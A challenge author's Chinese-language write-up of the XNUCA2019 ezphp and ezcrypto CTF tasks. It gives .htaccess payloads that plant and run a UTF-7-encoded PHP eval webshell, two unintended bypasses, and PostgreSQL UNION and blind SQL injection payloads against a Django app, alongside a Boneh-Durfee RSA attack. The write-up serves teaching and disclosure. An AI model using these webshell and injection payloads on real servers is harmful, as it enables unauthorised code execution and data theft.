写在开头

这篇是关于我出的ezphp和ezcrypto两道题目的设计想法、题解以及一些非预期解的分享。
本次XNUCA2019线上赛的所有WriteUp以及题目环境会陆续在https://github.com/NeSE-Team/OurChallenges这个repo中放出,有疑惑的师傅们可以关注这个repo。

ezphp

前言

Ezphp设计的初衷是今年wctf的时候,我们在做pdoor这题时发现php-apache这个官方镜像的htaccess文件默认是生效的,因为脑海里一直有固有的htaccess文件默认不生效的想法,然后发现是/etc/apache2/conf-enabled目录下有一个docker-php.conf文件里设置了htaccess的生效。然后就想出一个能写htaccess情况下我们能做什么的题。

预期解

htaccess生效

如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance
这里采用# \的方式将换行符转义成普通字符,就可以用#来注释单行了。

利用文件包含

代码中有一处include_once("fl3g.php");,php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。

tmp目录写文件

  • 如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。
  • 如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。
  • 写进error_log的内容会被html编码怎么绕过?这个点是比较常见的,采用utf7编码即可。

payload

  • 第一步,通过error_log配合include_path在tmp目录生成shell
    php_value error_log /tmp/fl3g.php
    php_value error_reporting 32767
    php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
    # \
  • 第二步,通过include_path和utf7编码执行shell
    php_value include_path "/tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    # \

非预期

比赛时候一共有18个队解出Ezphp这题。看了WriteUp后发现只有一个队伍是预期解做的,其余一个队采用了非预期1的方法,剩下的16个队都是用的非预期2。也算是自己出题的一个大失误了,因为本意是不想限制太严看看php的配置选项能完成什么更多的花来,但是非预期2脱离了我的本意Orz。

非预期1

因为正则判断写的是if(preg_match("/[^a-z\.]/", $filename) == 1) {而不是if(preg_match("/[^a-z\.]/", $filename) !== 0) {,因此存在了被绕过的可能。
通过设置.htaccess

php_value pcre.backtrack_limit 0
php_value pcre.jit 0

导致preg_match返回False,继而绕过了正则判断,filename即可通过伪协议绕过前面stristr的判断实现Getshell。

非预期2

惨痛的教训23333
上文提到用\来转义换行符来绕过最后加一行的限制。
所以同理你也可以用\来绕过stristr处的所有限制233333。型如

php_value auto_prepend_fi\
le ".htaccess"

ezcrytpo

前言

Ezcrypto设计的初衷是上学期上密码学课的时候看了Dan Boneh的"Twenty Years of
Attacks on the RSA
Cryptosystem",感觉很多RSA相关的攻击都是基于这篇文章提到的内容进行变形完成的,然后想着web狗应该也要会点密码学,于是出了这个题。Ezcrypto的密码学部分的确是很赤裸很简单,本质上还是一道Sql注入的题目。

密码学部分

本题的flag由root的密钥进行加密,且密钥生成是安全的。
但是user的密钥生成过程中,采用了从数据库中读取到的lowlimit以及uplimit作为私钥的上下界来生成。由于上界定在了0.4,因此这样的密钥生成存在有Boneh and Durfee attack的场景,即生成一个私钥的上界小于0.292时,N可以被分解。攻击脚本可以参考以下链接https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage

修改lowlimit

本题的第一考点就在于如何修改lowlimit以及uplimit的值。数据库操作均采用Django原生的ORM来实现,后端数据库为Postgresql。代码中只有在当前密钥加密次数用完时才会调用create_key去生成新的密钥,但是在这部分逻辑中,采用了限制很严的wafd以及限制括号次数的方式来保证不能在这部分逻辑中直接通过union select的方式来返回一个小数比如0.254之类的数,去让lowlimit和uplimit满足条件。因此我们需要在分支的第一部分中,尝试将数据库中的lowlimit和uplimit的值进行修改,在分支的第二部分中利用create_key去生成新的密钥。
我们可以很明显的发现有一处数据库操作是有问题的。

records = Record.objects.extra(
    where=['username=%s', 'message!=%s', 'luky!={0}'.format(luky)],
    params=[user, message]
)

luky处没有采用到ORM语法的方式,而是采用了类似字符串拼接的方式来传入数据。当然,Django在采用extra来做查询的时候,我也只知道了%s的方式来安全的传参,对于数值型数据,我没有找到对应的方法,也就是说如果你用extra来写sql查询,的确可能存在类似上述的写法的存在。
现在的问题变成了当你拥有一处Select型的注入的时候,你怎么去修改数据库中的值。这里需要用到一个Django的ORM在实现的时候我个人认为没有做好的地方来完成这一点。因为观察代码我们知道,recordone在被select出来以后,后续会通过save函数进行更新,也就是update操作。那么如果我们将select的内容控制成我们想要的结构,意味着Django会update一个由我们控制的对象,而不是只是修改了代码中对应位置的对象。这一点在Flask中就不存在,Flask只会update在代码中显式更改的部分。
有了一个可控的update以后,我们还需要绕过wafs中对于.-的限制,即你不能直接通过小数或者科学计数法来表示一个纯小数。这部分应该会有各种各样花式的方法,这里提供一种方法是利用log和round函数来做到这一点,即round(log(80,3),3)=>0.251
这部分的payload为

47) union select "id",round(log(80,3),3),round(log(75,3),3),"username","secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("username"='test'

控制root密钥

第一步我们已经控制了user的密钥,使其变得不安全可以采用Boneh and Durfee attack来分解N。但是flag是有root的密钥加密的而不是user。观察代码我们可以发现,在分支的第一部分,一直采用的是session中的值进行的加密,而不是数据库中的值。而root的session中的密钥在分支第二部分重新生成时会更新。

request.session['root_N'] = Nroot
request.session['root_E'] = Eroot
request.session['root_flag'] = root_flag
request.session[recordone.username + '_N'] = Nuser
request.session[recordone.username + '_E'] = Euser
request.session[recordone.username + '_flag'] = user_flag

观察以上代码可以发现,root_N和root_E先赋值,而recordone.username由于注入存在的关系,是我们可控的,因此我们可以通过控制recordone.username来使得session中的root_N和root_E错误的被Nuser和Euser来控制。也就意味着我们可以使得flag由一组脆弱的N和e生成。
这部分的payload为

47) union select "id","lowlimit","uplimit",'root',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("username"='test'

恢复用户名

上一步会将对应用户的用户名改变为root,这会影响到最后获取Nuser和Euser的值,因此在这里需要将用户名恢复过来。

47) union select "id","lowlimit","uplimit",'test',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("id"=1

同时输入一组正常的message和luky来获得一个使用Nuser和Euser加密的flag。

盲注Nuser和Euser

最后一步就是获取到数据库中的Nuser和Euser用于Boneh and Durfee attack来分解。这里有两个问题。一是分支第一部分只有三次机会使用当前密钥,如果机会用完则密钥会更新。这里不存在直接回显即得的注入,只能通过盲注来完成。所以我们需要构造一个不会减少使用密钥次数的请求,且存在盲注需要的两种状态。
关注这部分代码

if len(records) == 0:
    content = "<script>alert('必须修改明文和幸运数字');window.location='/';</script>"
    return HttpResponse(content)

我们可以通过返回0个查询来触发这种状态。
第二个状态是来自这句代码

user_flag = crypt(message, request.session[recordone.username + '_N'], request.session[recordone.username + '_E'])

因为recordone.username是我们可控的,如果是一个session中不存在的键值,Django会抛出一个500错误的响应,这样即完成了两个状态,又使得代码不会走到使用次数减少的位置。
第二个问题是,Nuser和Euser这两个列名被禁止了,同时禁止了常见的一些表列名被禁止时的做法。此处用到了Postgresql特有的一个trick,最早在hitcon2017的SQL so Hard非预期解中被提及,我感觉这个知识点国内好像不怎么提,所以特地再拿出来说一遍。Postgresql可以采用U&"Eu!0073er" UESCAPE '!'的方式来转义unicode字符,同时Postgresql的单引号和双引号是有明确含义的,而不是像Mysql那样存在混用的现象。即双引号可以用来表示列名而单引号则用来表示字符串。因此U&"Eu!0073er" UESCAPE '!'这样的表示不会存在字符串的歧义,而是准确地表示了列名的含义。
盲注的测试payload为

47) union select "id","lowlimit","uplimit",'a',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where "id"=1 and (case when (substring(U&"Nu!0073er" UESCAPE '!' from 1 for 1)='1') then true else false end

本题相对过程比较复杂,主要考察了RSA的基本攻击方式、Django ORM的一个问题以及Postgresql的一些特性,有点烦,所以flag原本设置也是叫NeSE{mix_up1s-alittle^disgusting}

点击收藏 | 0 关注 | 2
登录 后跟帖